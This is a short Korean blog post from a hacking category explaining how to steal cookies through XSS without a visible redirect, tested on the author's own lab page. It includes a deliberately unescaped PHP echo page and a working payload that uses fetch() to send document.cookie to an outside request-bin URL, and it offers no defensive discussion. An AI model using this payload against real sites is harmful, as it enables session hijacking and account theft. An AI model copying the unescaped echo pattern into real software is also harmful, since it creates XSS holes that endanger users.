<OOO>

XSS 리다이렉션 없이 쿠키 탈취하는 법? 본문

해킹 관련

XSS 리다이렉션 없이 쿠키 탈취하는 법?

<OOO> 2022. 8. 14. 04:36

문득 "XSS 공격 시 리다이렉션을 통한 쿠키 탈취 말고 티 안나게 쿠키 탈취 하는 방법은 없을까?" 라는 생각이 들었다.

 

그래서 구글링을 하다가 fetch 메소드를 사용하면 어떨까 싶었다.

 

우선 fetch 메소드에 대해서 간략하게 알아보자.

 

Fetch 메소드란?

Javascript의 fetch() 메소드는 서버에 요청하고 웹 페이지에 정보를 로드하는데 사용된다.

 

즉, 서버에 요청할 수 있는 기능이다.

 

간략하게 알아보았으니 이제 실습을 할 차례이다.

본 게시글에선 php를 이용하였으나, 자신이 좋아하고 만들기 편한 언어를 이용하면 된다.

 

<?php
setcookie("session","This_is_session");

$word = $_GET['word'];

echo $word;

?>
<html>
<form action="/ctf/xsstest.php" method="GET">
        <input type="text" name="word">
</form>
</html>

 

XSS가 발생할 페이지에서 setcookie 함수를 이용하여 쿠키를 생성하고 echo로 입력값을 출력시키는 소스다.

 

잘 동작하는지 h1 tag를 이용하여 테스트 해준다.

잘 되는것이 보인다.

 

그리고 쿠키값도 확인해준다.

 

생성이 잘 된 것을 확인할 수 있다.

 

쿠키값이 담길 주소는 dreamhack의 request bin을 이용했다.(https://tools.dreamhack.games/)

 

페이로드는 다음과 같다.

<h1>TEST</h1><script>fetch("[url]/?cookie="+document.cookie)</script>

 

[url] 부분에 본인이 쿠키값을 확인 할 서버의 주소를 적어주면 된다.(무척 간단하다!)

 

이렇게 넣고 엔터를 치면?

이렇게 쿠키값이 담겨져 온 것을 볼 수 있다.

 

 

Comments